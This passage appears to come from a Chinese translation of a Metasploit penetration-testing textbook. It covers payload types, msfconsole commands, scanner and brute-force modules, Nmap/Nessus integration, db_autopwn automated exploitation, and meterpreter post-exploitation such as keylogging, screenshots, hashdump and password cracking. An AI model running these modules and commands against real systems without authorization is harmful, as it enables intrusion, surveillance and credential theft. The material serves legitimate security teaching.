我们将在接下来的章节中更详细地了解编码器。
有效载荷
要了解有效载荷的作用,让我们考虑一个现实世界的例子。某个国家的军事单位开发了一种新型导弹,可以以非常高的速度飞行 500 公里。现在,导弹本身是没有用的,除非它装满了正确类型的弹药。现在,军事单位决定在导弹内部装载高爆材料,这样当导弹击中目标时,导弹内部的高爆材料就会爆炸,对敌人造成所需的伤害。因此,在这种情况下,导弹内的高爆材料就是有效载荷。根据导弹发射后要造成的破坏程度,可以更改有效载荷。
同样,在 Metasploit 框架中的有效载荷让我们决定在成功利用后对目标系统执行什么操作。以下是 Metasploit 框架中提供的各种有效载荷类别:
-
Singles:有时也称为内联或非分段有效载荷。此类别中的有效载荷是利用的完全独立单元,并且需要 shellcode,这意味着它们具有利用目标漏洞所需的一切。这种有效载荷的缺点是它们的大小。由于它们包含完整的利用和 shellcode,它们有时可能相当庞大,使它们在某些有大小限制的场景中变得无用。
-
分段:在某些情况下,有效载荷的大小非常重要。即使是多一个字节的有效载荷在目标系统上也可能无法正常运行。在这种情况下,分段有效载荷非常有用。分段有效载荷简单地在攻击系统和目标系统之间建立连接。它没有在目标系统上利用漏洞所需的 shellcode。由于体积非常小,它在许多情况下都能很好地适用。
-
阶段:一旦分段类型的有效载荷建立了攻击系统和目标系统之间的连接,“阶段”有效载荷就会被下载到目标系统上。它们包含在目标系统上利用漏洞所需的 shellcode。
以下截图显示了一个示例有效载荷,可用于从受损的 Windows 系统获取反向 TCP shell:
在接下来的章节中,您将学习如何使用各种有效载荷以及利用。
后期
post模块包含各种脚本和实用程序,可以在成功利用后帮助我们进一步渗透目标系统。一旦成功利用漏洞并进入目标系统,后期利用模块可能以以下方式帮助我们:
-
提升用户权限
-
转储操作系统凭据
-
窃取 cookie 和保存的密码
-
从目标系统获取按键日志
-
执行 PowerShell 脚本
-
使我们的访问持久化
以下表格显示了 Metasploit Framework 中可用的各种“post”模块的不同类别:
| Linux | Windows | OS X | Cisco |
|---|---|---|---|
| Solaris | Firefox | Aix | Android |
| 多功能 | Zip | Powershell |
Metasploit Framework 有 250 多个后期利用实用程序和脚本。在接下来的章节中,我们将讨论更多关于后期利用技术的内容时,会使用其中一些。
玩转 msfconsole
现在我们对 Metasploit Framework 的结构有了基本的了解,让我们开始实际学习msfconsole的基础知识。
msfconsole只是 Metasploit Framework 的简单命令行界面。虽然msfconsole可能一开始看起来有点复杂,但它是与 Metasploit Framework 交互的最简单和最灵活的方式。在本书的学习过程中,我们将一直使用msfconsole与 Metasploit 框架进行交互。
一些 Metasploit 版本确实提供了 GUI 和基于 Web 的界面。然而,从学习的角度来看,始终建议掌握 Metasploit Framework 的命令行控制台msfconsole。
让我们看一些msfconsole命令:
banner命令:banner命令是一个非常简单的命令,用于显示 Metasploit Framework 的横幅信息。此信息通常包括其版本详细信息以及当前安装版本中可用的漏洞、辅助工具、有效载荷、编码器和 nop 生成器的数量。
它的语法是msf> banner。以下截图显示了banner命令的使用:
version命令:version命令用于检查当前 Metasploit Framework 安装的版本。您可以访问以下网站以检查 Metasploit 官方发布的最新版本:
github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version
它的语法是msf> version。以下截图显示了version命令的使用:
connect命令:Metasploit Framework 中的connect命令提供了类似于 putty 客户端或 netcat 的功能。您可以使用此功能进行快速端口扫描或端口横幅抓取。
它的语法是msf> connect <ip:port>。以下截图显示了connect命令的使用:
help命令:顾名思义,help命令提供有关 Metasploit Framework 中任何命令的使用的附加信息。
其语法为msf> help。以下截图显示了help命令的使用:
route命令:route命令用于添加、查看、修改或删除网络路由。这用于高级场景中的枢纽,我们将在本书的后面部分介绍。
其语法为msf> route。以下截图显示了route命令的使用:
save命令:有时,在对复杂目标环境进行渗透测试时,Metasploit Framework 会进行许多配置更改。现在,如果需要稍后再次恢复渗透测试,从头开始重新配置 Metasploit Framework 将非常痛苦。save命令将所有配置保存到文件中,并在下次启动时加载,节省了所有重新配置的工作。
其语法为msf>save。以下截图显示了save命令的使用:
sessions命令:一旦我们成功利用目标,通常会在目标系统上获得一个 shell 会话。如果我们同时在多个目标上工作,可能会同时打开多个会话。Metasploit Framework 允许我们根据需要在多个会话之间切换。sessions命令列出了与各个目标系统建立的所有当前活动会话。
其语法为msf>sessions。以下截图显示了sessions命令的使用:
spool命令:就像任何应用程序都有帮助调试错误的调试日志一样,spool命令将所有输出打印到用户定义的文件以及控制台。稍后可以根据需要分析输出文件。
其语法为msf>spool。以下截图显示了spool命令的使用:
show命令:show命令用于显示 Metasploit Framework 中可用的模块,或在使用特定模块时显示附加信息。
其语法为msf> show。以下截图显示了show命令的使用:
info命令:info命令用于显示 Metasploit Framework 中特定模块的详细信息。例如,您可能希望查看有关 meterpreter 有效载荷的信息,例如支持的架构和执行所需的选项:
其语法为msf> info。以下截图显示了info命令的使用:
irb命令:irb命令从 Metasploit Framework 内部调用交互式 Ruby 平台。交互式 Ruby 平台可用于在后期利用阶段创建和调用自定义脚本。
其语法为msf>irb。以下截图显示了irb命令的使用:
makerc命令:当我们使用 Metasploit Framework 对目标进行渗透测试时,会发出许多命令。在任务结束或特定会话结束时,我们可能希望回顾通过 Metasploit 执行的所有活动。makerc命令简单地将特定会话的所有命令历史写入用户定义的输出文件。
其语法为msf>makerc。以下截图显示了makerc命令的使用:
Metasploit 中的变量
对于我们在 Metasploit 框架中使用的大多数利用,我们需要为一些变量设置值。以下是 Metasploit 框架中一些常见和最重要的变量:
| 变量名称 | 变量描述 |
|---|---|
LHOST | 本地主机:此变量包含攻击者系统的 IP 地址,即我们发起利用的系统的 IP 地址。 |
LPORT | 本地端口:此变量包含攻击者系统的(本地)端口号。当我们期望利用给我们提供反向 shell 时,通常需要这个。 |
RHOST | 远程主机:此变量包含目标系统的 IP 地址。 |
RPORT | 远程端口:此变量包含我们将攻击/利用的目标系统上的端口号。例如,要利用远程目标系统上的 FTP 漏洞,RPORT 将设置为 21。 |
get命令:get命令用于检索 Metasploit 框架中特定本地变量中包含的值。例如,您可能想查看为特定利用设置的目标系统的 IP 地址。
其语法是msf>get。以下截图显示了msf> get命令的使用:
getg命令:getg命令与get命令非常相似,只是返回全局变量中包含的值。
其语法是msf> getg。以下截图显示了msf> getg命令的使用:
set和setg命令:set命令为 Metasploit 框架中的一个(本地)变量(如RHOST、RPORT、LHOST和LPPORT)分配一个新值。但是,set命令为一个有限的会话/实例分配一个变量的值。setg命令为(全局)变量永久分配一个新值,以便在需要时可以重复使用。
其语法是:
msf> set <VARIABLE> <VALUE>
msf> setg <VARIABLE> <VALUE>
我们可以在以下截图中看到set和setg命令:
unset和unsetg命令:unset命令简单地清除通过set命令之前存储在(本地)变量中的值。unsetg命令通过setg命令清除之前存储在(全局)变量中的值:
语法是:
msf> unset<VARIABLE>
msf> unsetg <VARIABLE>
我们可以在以下截图中看到unset和unsetg命令:
更新 Metasploit 框架
Metasploit 框架由 Rapid 7 提供商业支持,并拥有一个非常活跃的开发社区。几乎每天都会在各种系统中发现新的漏洞。对于任何这种新发现的漏洞,很有可能在 Metasploit 框架中获得一个现成的利用。但是,为了跟上最新的漏洞和利用,保持 Metasploit 框架的更新是很重要的。您可能不需要每天更新框架(除非您非常积极地参与渗透测试);但是,您可以定期进行更新。
Metasploit 框架提供了一个简单的实用程序称为msfupdate,它连接到相应的在线存储库并获取更新:
摘要
在本章中,我们已经看到了 Metasploit 框架的结构和一些常见的控制台命令。在下一章中,我们将实际开始使用 Metasploit 框架来执行对目标系统的信息收集和枚举。对于在 Metasploit 框架中使用大多数模块,记住以下顺序:
-
使用
use命令选择所需的 Metasploit 模块。 -
使用
show options命令列出执行所选模块所需的所有变量。 -
使用
set命令设置所需变量的值。 -
使用
run命令执行先前配置的变量的模块。
练习
您可以尝试以下练习:
-
浏览 Metasploit Framework 的目录结构
-
尝试一些本章讨论的常见控制台命令
-
更新 Metasploit Framework 到最新可用版本
第四章:使用 Metasploit 进行信息收集
信息收集和枚举是渗透测试生命周期的初始阶段。这些阶段经常被忽视,人们直接使用自动化工具试图快速妥协目标。然而,这样的尝试成功的可能性较小。
“给我六个小时砍倒一棵树,我将花前四个小时磨削斧头。”
- 亚伯拉罕·林肯
这是亚伯拉罕·林肯的一句非常著名的名言,它也适用于渗透测试!您对目标进行信息收集和枚举的努力越多,成功妥协的可能性就越大。通过进行全面的信息收集和枚举,您将获得关于目标的大量信息,然后您可以精确地决定攻击向量,以便妥协目标。
Metasploit 框架提供了各种辅助模块,用于进行被动和主动信息收集以及详细的枚举。本章介绍了 Metasploit 框架中提供的一些重要信息收集和枚举模块:
要涵盖的主题如下:
-
各种协议的信息收集和枚举
-
使用 Metasploit 进行密码嗅探
-
使用 Shodan 进行高级搜索
信息收集和枚举
在本节中,我们将探讨 Metasploit 框架中各种辅助模块,这些模块可以有效地用于信息收集和枚举各种协议,如 TCP、UDP、FTP、SMB、SMTP、HTTP、SSH、DNS 和 RDP。对于这些协议,您将学习多个辅助模块以及必要的变量配置。
传输控制协议
传输控制协议(TCP)是一种面向连接的协议,可以确保可靠的数据包传输。许多服务,如 Telnet、SSH、FTP 和 SMTP,都使用 TCP 协议。该模块对目标系统执行简单的端口扫描,并告诉我们哪些 TCP 端口是打开的。
它的辅助模块名称是auxiliary/scanner/portscan/tcp,您将需要配置以下参数:
-
RHOSTS:要扫描的目标的 IP 地址或 IP 范围
-
PORTS:要扫描的端口范围
我们可以在以下截图中看到这个辅助模块:
用户数据报协议
用户数据报协议(UDP)与 TCP 相比更轻量,但不像 TCP 那样可靠。UDP 被 SNMP 和 DNS 等服务使用。该模块对目标系统执行简单的端口扫描,并告诉我们哪些 UDP 端口是打开的。
它的辅助模块名称是auxiliary/scanner/discovery/udp_sweep,您将需要配置以下参数:
- RHOSTS:要扫描的目标的 IP 地址或 IP 范围
我们可以在以下截图中看到这个辅助模块:
文件传输协议
文件传输协议(FTP)最常用于客户端和服务器之间的文件共享。FTP 使用 TCP 端口 21 进行通信。
让我们来看看以下 FTP 辅助模块:
ftp_login:该模块帮助我们对目标 FTP 服务器执行暴力攻击。
它的辅助模块名称是auxiliary/scanner/ftp/ftp_login,您将需要配置以下参数:
-
- RHOSTS:要扫描的目标的 IP 地址或 IP 范围
-
USERPASS_FILE:包含用户名/密码列表的文件路径
您可以创建自己的自定义列表,用于暴力攻击,或者在 Kali Linux 中有许多立即可用的单词列表,位于|usr|share|wordlists。
我们可以在以下截图中看到这个辅助模块:
ftp_version:该模块使用横幅抓取技术来检测目标 FTP 服务器的版本。
它的辅助模块名称是auxiliary/scanner/ftp/ftp_version,您将需要配置以下参数:
- RHOSTS:目标要扫描的 IP 地址或 IP 范围
一旦您知道目标服务的版本,您可以开始搜索特定版本的漏洞和相应的利用。
我们可以在以下截图中看到这个辅助模块:
- anonymous:一些 FTP 服务器配置错误,允许匿名用户访问。这个辅助模块探测目标 FTP 服务器,以检查它是否允许匿名访问。
它的辅助模块名称是auxiliary/scanner/ftp/anonymous,您将需要配置以下参数:
-
- RHOSTS:目标要扫描的 IP 地址或 IP 范围
我们可以在以下截图中看到这个辅助模块:
服务器消息块
服务器消息块(SMB)是一个主要用于共享文件、打印机等的应用层协议。SMB 使用 TCP 端口 445 进行通信。
让我们来看一些以下 SMB 辅助功能:
- :这个辅助模块探测目标以检查它运行的 SMB 版本。
它的辅助模块名称是auxiliary/scanner/smb/smb_version,您将需要配置以下参数:
-
- RHOSTS:目标要扫描的 IP 地址或 IP 范围
smb_enumusers:这个辅助模块通过 SMB RPC 服务连接到目标系统,并枚举系统上的用户。
它的辅助模块名称是auxiliary/scanner/smb/smb_enumusers,您将需要配置以下参数:
-
- RHOSTS:目标要扫描的 IP 地址或 IP 范围
一旦您获得了目标系统上的用户列表,您可以开始准备对这些用户进行密码破解攻击。
我们可以在以下截图中看到这个辅助模块:
smb_enumshares:这个辅助模块枚举了目标系统上可用的 SMB 共享。
它的辅助模块名称是auxiliary/scanner/smb/smb_enumshares,您将需要配置以下参数:
-
- RHOSTS:目标要扫描的 IP 地址或 IP 范围
我们可以在以下截图中看到这个辅助模块:
超文本传输协议
HTTP 是一个用于在万维网上交换信息的无状态应用层协议。HTTP 使用 TCP 端口80进行通信。
让我们来看一些以下 HTTP 辅助功能:
http_version:这个辅助模块探测并检索目标系统上运行的 Web 服务器版本。它还可能提供有关目标正在运行的操作系统和 Web 框架的信息。
它的辅助模块名称是auxiliary/scanner/http/http_version,您将需要配置以下参数:
-
- RHOSTS:目标要扫描的 IP 地址或 IP 范围
我们可以在以下截图中看到这个辅助模块:
backup_file:有时,开发人员和应用程序管理员会忘记从 Web 服务器中删除备份文件。这个辅助模块探测目标 Web 服务器是否存在这样的文件,因为管理员可能会忘记删除它们。这些文件可能会提供有关目标系统的额外详细信息,并有助于进一步的妥协。
它的辅助模块名称是auxiliary/scanner/http/backup_file,您将需要配置以下参数:
-
- RHOSTS:目标要扫描的 IP 地址或 IP 范围
我们可以在以下截图中看到这个辅助模块:
dir_listing:经常出现的情况是 Web 服务器被错误配置为显示根目录中包含的文件列表。该目录可能包含通常不通过网站链接公开的文件,并泄露敏感信息。此辅助模块检查目标 Web 服务器是否容易受到目录列表的影响。
其辅助模块名称为auxiliary/scanner/http/dir_listing,您将需要配置以下参数:
-
- 目标的 IP 地址或 IP 范围
-
PATH:检查目录列表的可能路径
我们可以在以下截图中看到这个辅助模块:
ssl:虽然 SSL 证书通常用于加密传输中的数据,但经常发现它们要么配置错误,要么使用弱加密算法。此辅助模块检查目标系统上安装的 SSL 证书可能存在的弱点。
其辅助模块名称为auxiliary/scanner/http/ssl,您将需要配置以下参数:
-
- 目标的 IP 地址或 IP 范围
我们可以在以下截图中看到这个辅助模块:
http_header:大多数 Web 服务器没有经过安全加固。这导致 HTTP 头泄露服务器和操作系统版本的详细信息。此辅助模块检查目标 Web 服务器是否通过 HTTP 头提供任何版本信息。
其辅助模块名称为auxiliary/scanner/http/http_header,您将需要配置以下参数:
-
- 目标的 IP 地址或 IP 范围
我们可以在以下截图中看到这个辅助模块:
robots_txt:大多数搜索引擎通过蜘蛛和爬行网站并索引页面的机器人工作。然而,特定网站的管理员可能不希望他的网站的某个部分被任何搜索机器人爬行。在这种情况下,他使用robots.txt文件告诉搜索机器人在爬行时排除站点的某些部分。此辅助模块探测目标以检查robots.txt文件的存在。该文件通常会显示目标系统上存在的敏感文件和文件夹列表。
其辅助模块名称为auxiliary/scanner/http/robots_txt,您将需要配置以下参数:
-
- 目标的 IP 地址或 IP 范围
我们可以在以下截图中看到这个辅助模块:
简单邮件传输协议
SMTP 用于发送和接收电子邮件。SMTP 使用 TCP 端口 25 进行通信。此辅助模块探测目标系统上的 SMTP 服务器版本,并列出配置为使用 SMTP 服务的用户。
其辅助模块名称为auxiliary/scanner/smtp/smtp_enum,您将需要配置以下参数:
-
目标的 IP 地址或 IP 范围
-
USER_FILE:包含用户名列表的文件路径
我们可以在以下截图中看到这个辅助模块:
安全外壳
SSH 通常用于加密通道上的远程管理。SSH 使用 TCP 端口 22 进行通信。
让我们看一些 SSH 辅助模块:
ssh_enumusers:此辅助模块探测目标系统上的 SSH 服务器,以获取远程系统上配置为使用 SSH 服务的用户列表。
其辅助模块名称为auxiliary/scanner/ssh/ssh_enumusers,您将需要配置以下参数:
-
- 目标的 IP 地址或 IP 范围
-
USER_FILE:包含用户名列表的文件路径
我们可以在以下截图中看到这个辅助模块:
ssh_login:这个辅助模块对目标 SSH 服务器执行暴力破解攻击。
它的辅助模块名称是auxiliary/scanner/ssh/ssh_login,您将需要配置以下参数:
-
- RHOSTS:目标的 IP 地址或 IP 范围
-
USERPASS_FILE:包含用户名和密码列表的文件路径
我们可以在以下截图中看到这个辅助模块:
ssh_version:这个辅助模块探测目标 SSH 服务器,以便检测其版本以及底层操作系统的版本。
它的辅助模块名称是auxiliary/scanner/ssh/ssh_version,您将需要配置以下参数:
-
- RHOSTS:目标的 IP 地址或 IP 范围
我们可以在以下截图中看到这个辅助模块:
detect_kippo:Kippo 是一个基于 SSH 的蜜罐,专门设计用来诱捕潜在的攻击者。这个辅助模块探测目标 SSH 服务器,以便检测它是一个真正的 SSH 服务器还是一个 Kippo 蜜罐。如果目标被检测到在运行 Kippo 蜜罐,那么进一步妥协它就没有意义了。
它的辅助模块名称是auxiliary/scanner/ssh/detect_kippo,您将需要配置以下参数:
-
- RHOSTS:目标的 IP 地址或 IP 范围
我们可以在以下截图中看到这个辅助模块:
域名系统
域名系统(DNS)负责将主机名转换为相应的 IP 地址。DNS 通常在 UDP 端口 53 上工作,但也可以在 TCP 上运行。这个辅助模块可以用来从目标 DNS 服务器提取名称服务器和邮件记录信息。
它的辅助模块名称是auxiliary/gather/dns_info,您将需要配置以下参数:
- DOMAIN:要扫描的目标域名
我们可以在以下截图中看到这个辅助模块:
远程桌面协议
远程桌面协议(RDP)用于远程连接到 Windows 系统。RDP 使用 TCP 端口 3389 进行通信。这个辅助模块检查目标系统是否对 MS12-020 漏洞存在漏洞。MS12-020 是 Windows 远程桌面的一个漏洞,允许攻击者远程执行任意代码。有关 MS12-020 漏洞的更多信息可以在technet.microsoft.com/en-us/library/security/ms12-020.aspx找到。
它的辅助模块名称是auxiliary/scanner/rdp/ms12_020,您将需要配置以下参数:
- RHOSTS:目标的 IP 地址或 IP 范围
我们可以在以下截图中看到这个辅助模块:
密码嗅探
密码嗅探是一种特殊类型的辅助模块,它监听网络接口,查找通过各种协议发送的密码,如 FTP、IMAP、POP3 和 SMB。它还提供了一个选项,可以导入以前转储的以.pcap格式的网络流量,并在其中查找凭据。
它的辅助模块名称是auxiliary/sniffer/psnuffle,可以在以下截图中看到:
使用 Shodan 进行高级搜索
Shodan 是一个高级搜索引擎,用于搜索互联网连接的设备,如网络摄像头和 SCADA 系统。它还可以有效地用于搜索易受攻击的系统。有趣的是,Metasploit 框架可以与 Shodan 集成,直接从 msfconsole 发出搜索查询。
为了将 Shodan 与 Metasploit Framework 集成,您首先需要在www.shodan.io上注册。注册后,您可以从以下显示的“账户概述”部分获取 API 密钥:
其辅助模块名称是auxiliary/gather/shodan_search,该辅助模块连接到 Shodan 搜索引擎,从msfconsole发出搜索查询并获取搜索结果。
您将需要配置以下参数:
-
SHODAN_APIKEY:注册 Shodan 用户可用的 Shodan API 密钥
-
QUERY:要搜索的关键词
您可以运行shodan_search命令来获得以下结果:
总结
在本章中,我们已经看到了如何使用 Metasploit Framework 中的各种辅助模块进行信息收集和枚举。在下一章中,我们将学习如何对目标系统进行详细的漏洞评估。
练习
您可以尝试以下练习:
-
除了本章讨论的辅助模块外,尝试探索和执行以下辅助模块:
-
auxiliary/scanner/http/ssl_version -
auxiliary/scanner/ssl/openssl_heartbleed -
auxiliary/scanner/snmp/snmp_enum -
auxiliary/scanner/snmp/snmp_enumshares -
auxiliary/scanner/snmp/snmp_enumusers -
使用 Shodan 辅助模块查找各种互联网连接设备
第五章:使用 Metasploit 进行漏洞搜索
在上一章中,您学习了各种信息收集和枚举技术。现在我们已经收集了有关目标系统的信息,是时候检查目标系统是否存在漏洞,以及我们是否可以在现实中利用它了。在本章中,我们将涵盖以下主题:
-
设置 Metasploit 数据库
-
漏洞扫描和利用
-
在 Metasploit 内执行 NMAP 和 Nessus 扫描
-
使用 Metasploit 辅助工具进行漏洞检测
-
使用
db_autopwn进行自动利用 -
探索 Metasploit 的后渗透能力
管理数据库
到目前为止,我们已经看到,Metasploit Framework 是各种工具、实用程序和脚本的紧密集合,可用于执行复杂的渗透测试任务。在执行此类任务时,以某种形式生成了大量数据。从框架的角度来看,安全地存储所有数据以便在需要时有效地重用是至关重要的。默认情况下,Metasploit Framework 使用后端的 PostgreSQL 数据库来存储和检索所有所需的信息。
现在我们将看到如何与数据库交互执行一些琐碎的任务,并确保数据库在开始渗透测试活动之前已正确设置。
对于初始设置,我们将使用以下命令设置数据库:
root@kali :~# service postgresql start
这个命令将在 Kali Linux 上启动 PostgreSQL 数据库服务。在使用msfconsole命令之前,这是必要的:
root@kali :~# msfdb init
这个命令将启动 Metasploit Framework 数据库实例,这是一次性的活动:
db_status:一旦我们启动了 PostgreSQL 服务并初始化了msfdb,我们就可以开始使用msfconsole:
msf> db_status
db_status命令将告诉我们后端数据库是否已成功初始化并与msfconsole连接:
工作空间
假设您同时为不同客户的多个渗透测试任务工作。您肯定不希望来自不同客户的数据混在一起。理想的方式是为每个任务创建逻辑隔间来存储数据。Metasploit Framework 中的工作空间帮助我们实现这一目标。
以下表格显示了与管理工作空间相关的一些常用命令:
| Sr. no. | Command | Purpose |
|---|---|---|
| 1. | workspace | 这将列出在 Metasploit Framework 中先前创建的所有工作空间 |
| 2. | workspace -h | 这将列出与workspace命令相关的所有开关的帮助信息 |
| 3. | workspace -a <name> | 这将创建一个具有指定name的新工作空间 |
| 4. | workspace -d <name> | 这将删除指定的工作空间 |
| 5. | workspace <name> | 这将切换工作空间的上下文到指定的名称 |
以下截图显示了workspace命令与各种开关的用法:
导入扫描
我们已经知道 Metasploit Framework 有多么多才多艺,以及它与其他工具的良好集成。Metasploit Framework 提供了一个非常有用的功能,可以从其他工具(如 NMAP 和 Nessus)导入扫描结果。如下截图所示,db_import命令可用于将扫描导入 Metasploit Framework:
hosts命令:我们很可能已经对整个子网进行了 NMAP 扫描,并将扫描结果导入了 Metasploit Framework 数据库。现在,我们需要检查在扫描期间发现了哪些主机是活动的。如下截图所示,hosts命令列出了在扫描和导入期间发现的所有主机:
services命令:一旦 NMAP 扫描结果被导入数据库,我们可以查询数据库,过滤出我们可能感兴趣的服务。services命令带有适当的参数,如下截图所示,查询数据库并过滤服务:
备份数据库
想象一下,您在使用 Metasploit 框架进行复杂的渗透测试任务上工作了很长时间。现在,由于某种不幸的原因,您的 Metasploit 实例崩溃了,无法启动。如果需要从头开始在新的 Metasploit 实例上重新工作,那将是非常痛苦的!这就是 Metasploit 框架中备份选项发挥作用的地方。db_export命令,如下截图所示,将数据库中的所有数据导出到外部 XML 文件中。
然后,您可以将导出的 XML 文件安全地保存起来,以防以后需要恢复数据:
NMAP
NMAP,即网络映射器的缩写,是一个非常先进的工具,可用于以下目的:
-
主机发现
-
服务检测
-
版本枚举
-
漏洞扫描
-
防火墙测试和规避
NMAP 是一个有数百个参数可配置的工具,完全覆盖它超出了本书的范围。然而,以下表格将帮助您了解一些最常用的 NMAP 开关:
| 序号 | NMAP 开关 | 目的 |
|---|---|---|
| 1. | -sT | 执行连接(TCP)扫描 |
| 2. | -sU | 执行扫描以检测开放的 UDP 端口 |
| 3. | -sP | 执行简单的 ping 扫描 |
| 4. | -A | 执行侵略性扫描(包括隐秘 syn 扫描和 OS 和版本检测加上路由跟踪和脚本) |
| 5. | -sV | 执行服务版本检测 |
| 6. | -v | 打印详细输出 |
| 7. | -p 1-1000 | 仅扫描 1 到 1000 范围内的端口 |
| 8. | -O | 执行操作系统检测 |
| 9. | -iL <filename> | 从指定的<filename>文件中扫描所有主机 |
| 10. | -oX | 以 XML 格式输出扫描结果 |
| 11. | -oG | 以可 grep 格式输出扫描结果 |
| 12. | --script <script_name> | 对目标执行指定的脚本 <script_name> |
例如:nmap -sT -sV -O 192.168.44.129 -oX /root/Desktop/scan.xml。
上述命令将在 IP 地址192.168.44.129上执行连接扫描,检测所有服务的版本,识别目标正在运行的操作系统,并将结果保存到路径/root/Desktop/scan.xml的 XML 文件中。
NMAP 扫描方法
我们已经在前一节中看到,Metasploit 框架提供了从 NMAP 和 Nessus 等工具导入扫描的功能。然而,还有一个选项可以从 Metasploit 框架内启动 NMAP 扫描。这将立即将扫描结果存储在后端数据库中。
然而,这两种方法之间并没有太大的区别,只是个人选择的问题。
- 从
msfconsole扫描:db_nmap命令,如下截图所示,从 Metasploit 框架内启动 NMAP 扫描。扫描完成后,您可以简单地使用hosts命令列出扫描的目标。
Nessus
Nessus 是一个流行的漏洞评估工具,我们在第一章中已经见过了,Metasploit 和支持工具简介。现在,有两种使用 Nessus 与 Metasploit 的替代方法,如下所示:
-
对目标系统执行 Nessus 扫描,保存报告,然后使用
db_import命令将其导入 Metasploit 框架,如本章前面讨论的那样 -
加载、启动并触发目标系统上的 Nessus 扫描,直接通过
msfconsole描述在下一节中
使用 msfconsole 从 Nessus 进行扫描
在使用 Nessus 开始新的扫描之前,重要的是在msfconsole中加载 Nessus 插件。加载插件后,可以使用一对凭据连接到您的 Nessus 实例,如下一张截图所示。
在msfconsole中加载nessus之前,请确保使用/etc/init.d/nessusd start命令启动 Nessus 守护程序。
一旦加载了nessus插件,并且我们连接到了nessus服务,我们需要选择要使用哪个策略来扫描我们的目标系统。可以使用以下命令执行此操作:
msf> nessus_policy_list -
msf> nessus_scan_new <Policy_UUID>
msf> nessus_scan_launch <Scan ID>
您也可以在以下截图中看到这一点:
一段时间后,扫描完成,可以使用以下命令查看扫描结果:
msf> nessus_report_vulns <Scan ID>
您也可以在以下截图中看到这一点:
使用 Metasploit 辅助模块进行漏洞检测
在上一章中,我们已经看到了各种辅助模块。Metasploit 框架中的一些辅助模块也可以用于检测特定的漏洞。例如,以下截图显示了用于检查目标系统是否容易受到 MS12-020 RDP 漏洞影响的辅助模块:
使用 db_autopwn 进行自动利用
在上一节中,我们已经看到了 Metasploit 框架如何帮助我们从其他各种工具(如 NMAP 和 Nessus)导入扫描结果。现在,一旦我们将扫描结果导入数据库,下一个逻辑步骤将是查找与导入扫描的漏洞/端口匹配的利用。我们当然可以手动执行此操作;例如,如果我们的目标是 Windows XP,并且它打开了 TCP 端口 445,那么我们可以尝试针对其执行MS08_67 netapi漏洞。
Metasploit 框架提供了一个名为db_autopwn的脚本,它自动化了利用匹配过程,如果找到匹配项,则执行适当的利用,并给我们远程 shell。但是,在尝试此脚本之前,需要考虑以下几点:
-
db_autopwn脚本已经正式从 Metasploit 框架中弃用。您需要明确下载并将其添加到您的 Metasploit 实例中。 -
这是一个非常资源密集的脚本,因为它尝试针对目标的所有漏洞的排列和组合,因此会产生很多噪音。
-
这个脚本不再建议用于针对任何生产系统的专业使用;但是,从学习的角度来看,您可以在实验室中针对任何测试机器运行它。
以下是开始使用db_autopwn脚本的步骤:
- 打开一个终端窗口,并运行以下命令:
wget https://raw.githubusercontent.com
/jeffbryner/kinectasploit/master/db_autopwn.rb
-
将下载的文件复制到
/usr/share/metasploit-framework/plugins目录中。 -
重新启动
msfconsole。 -
在
msfconsole中,输入以下代码:
msf> use db_autopwn
- 使用以下命令列出匹配的利用:
msf> db_autopwn -p -t
- 使用以下命令利用匹配的利用:
msf> db_autopwn -p -t -e
后渗透
后渗透是渗透测试中的一个阶段,在这个阶段我们已经对目标系统有了有限(或完全)的访问权限,现在,我们想要搜索特定的文件、文件夹,转储用户凭据,远程捕获屏幕截图,从远程系统中转储按键,提升权限(如果需要),并尝试使我们的访问持久化。在本节中,我们将学习 meterpreter,它是一个以其功能丰富的后渗透能力而闻名的高级有效载荷。
什么是 meterpreter?
Meterpreter 是一个高级的可扩展有效载荷,它使用内存 DLL 注入。它显著增加了 Metasploit 框架的后渗透能力。通过在分段套接字上通信,它提供了一个广泛的客户端端 Ruby API。Meterpreter 的一些显着特点如下:
-
隐秘:Meterpreter 完全驻留在受损系统的内存中,并且不会向磁盘写入任何内容。它不会产生任何新进程;它会将自身注入到受损进程中。它有能力轻松迁移到其他运行的进程。默认情况下,Meterpreter 通过加密通道进行通信。这在法医角度上对受损系统留下了有限的痕迹。
-
可扩展:功能可以在运行时添加,并直接通过网络加载。新功能可以添加到 Meterpreter 而无需重新构建它。
meterpreter有效载荷运行无缝且非常快速。
下面的截图显示了我们通过利用我们的 Windows XP 目标系统上的ms08_067_netapi漏洞获得的meterpreter会话。
在使用漏洞之前,我们需要通过发出use payload/windows/meterpreter/reverse_tcp命令来配置 meterpreter 有效载荷,然后设置 LHOST 变量的值。
搜索内容
一旦我们攻破了目标系统,我们可能想要寻找特定的文件和文件夹。这完全取决于渗透测试的上下文和意图。meterpreter 提供了一个搜索选项,可以在受损的系统上查找文件和文件夹。下面的截图显示了一个搜索查询,寻找位于 C 驱动器上的机密文本文件:
屏幕截图
成功攻破后,我们可能想知道在受损系统上运行的活动和任务。拍摄屏幕截图可能会给我们一些有趣的信息,了解我们的受害者在那个特定时刻在做什么。为了远程捕获受损系统的屏幕截图,我们执行以下步骤:
-
使用
ps命令列出目标系统上运行的所有进程以及它们的 PID。 -
定位
explorer.exe进程,并记下其 PID。 -
将 meterpreter 迁移到
explorer.exe进程,如下截图所示:
一旦我们将 meterpreter 迁移到explorer.exe,我们加载espia插件,然后执行screengrab命令,如下截图所示:
我们的受损系统的屏幕截图已保存(如下所示),我们可以注意到受害者正在与 FileZilla Server 进行交互:
按键记录
除了屏幕截图,另一个非常有用的 meterpreter 功能是键盘记录。meterpreter 按键记录器将捕获在受损系统上按下的所有按键,并将结果转储到我们的控制台上。使用keyscan_start命令在受损系统上启动远程键盘记录,而使用keyscan_dump命令将所有捕获的按键转储到 Metasploit 控制台上:
转储哈希并使用 JTR 破解
Windows 将用户凭据以加密格式存储在其 SAM 数据库中。一旦我们已经攻破了目标系统,我们就想获取该系统上的所有凭据。如下截图所示,我们可以使用post/windows/gather/hashdump辅助模块从远程受损系统中转储密码哈希:
一旦我们有了凭据的转储,下一步就是破解它们并检索明文密码。Metasploit Framework 有一个辅助模块auxiliary/analyze/jtr_crack_fast,可以触发对转储哈希的密码破解。
完成后,模块会显示明文密码,如下截图所示:
jtr是John the Ripper的缩写,是最常用的密码破解工具。
Shell 命令
一旦我们成功利用了漏洞并获得了 meterpreter 访问,我们可以使用shell命令来获得对受损系统的命令提示符访问(如下截图所示)。命令提示符访问会让您感觉自己就像在物理上操作目标系统一样:
特权提升
